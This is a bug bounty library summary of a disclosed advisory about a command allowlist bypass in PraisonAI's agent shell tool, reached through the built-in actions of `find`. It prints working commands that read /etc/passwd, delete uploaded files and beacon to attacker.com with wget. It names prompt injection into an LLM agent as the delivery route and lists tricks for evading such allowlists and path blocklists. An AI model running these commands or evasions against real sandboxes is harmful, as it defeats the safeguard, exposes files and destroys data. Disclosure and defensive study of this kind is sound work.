# PraisonAI: Shell command allowlist bypass via find -exec built-in action

PraisonAI's shell allowlist blocks metacharacters but keeps `find`, whose `-execdir ... {} +` action runs arbitrary binaries and reads blocked files.

- Payout: Research
- Severity: high
- Program: PraisonAI
- Found by (vendor credit): HiyokoSauna37
- Found by: HiyokoSauna37
- Disclosed: 2026-10-08
- CVE: CVE-2026-61434
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-cv3g-hj65-pcfh
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-cv3g-hj65-pcfh
- Tags: area:ai domain:ai impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:nodejs tech:python technique:incomplete-fix technique:source-review vuln:access-control vuln:command-injection

**Target:** Agent shell tool / SandboxExecutor command allowlist (TypeScript and Python)
**Root cause:** Validation only checks the first token against an allowlist and blocks shell metacharacters, but `find` is allowlisted and its built-in `-exec`/`-execdir`/`-delete` actions execute programs without any shell metacharacters.
**Steps:**
1. Note the fix blocks `;|&`><$()${}` and uses `spawn(..., {shell:false})`, but `find` stays in `safeCommands`.
2. Use `+` batch terminator instead of blocked `;`: `find /etc -name passwd -maxdepth 1 -execdir cat {} +`.
3. Metachar regex passes since `{`, `}`, `+` aren't matched; `find` is in allowlist.
4. SandboxExecutor path check fails because `/etc` and `passwd` are separate args, so `/etc/passwd` never appears as substring.
5. find chdirs to /etc and runs `cat ./passwd`, returning file contents with exit 0.
6. For deletion use `find /app/uploads -name "*.bak" -delete`; for non-allowlisted exec use `find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +`.
**How found:** Reviewed the prior chaining fixes (GHSA-5jv7-2mjm-h6qj, GHSA-vjv9-7m7j-h833) and reasoned that blocking shell metacharacters is insufficient when an allowlisted binary has its own execution actions; verified `find` in allowlist across 4 parallel implementations and tested the `+` terminator to avoid the blocked `;`.
**Exploitation:** Attacker influencing the command parameter (prompt injection into an LLM agent, or direct SandboxExecutor input) runs `find` with `-execdir cat {} +` to read files in blocked paths, `-delete` to destroy files, or `-exec` to run binaries not on the allowlist (e.g. wget beacon). Limited to binaries already on disk since `$(...)` is blocked.
**Escalation:** Path-splitting across arguments evades substring-based blocked-path checks, extending read access to DEFAULT_BLOCKED_PATHS.
**Insight:** When a shell wrapper allowlists binaries, audit each for built-in exec/file actions (`find -exec/-execdir/-delete/-ok`, `tar --to-command`, `awk system()`, `git -c core.pager`, `xargs`, `sed e`) — these bypass metacharacter filters entirely; also split paths across args to defeat substring path blocklists.

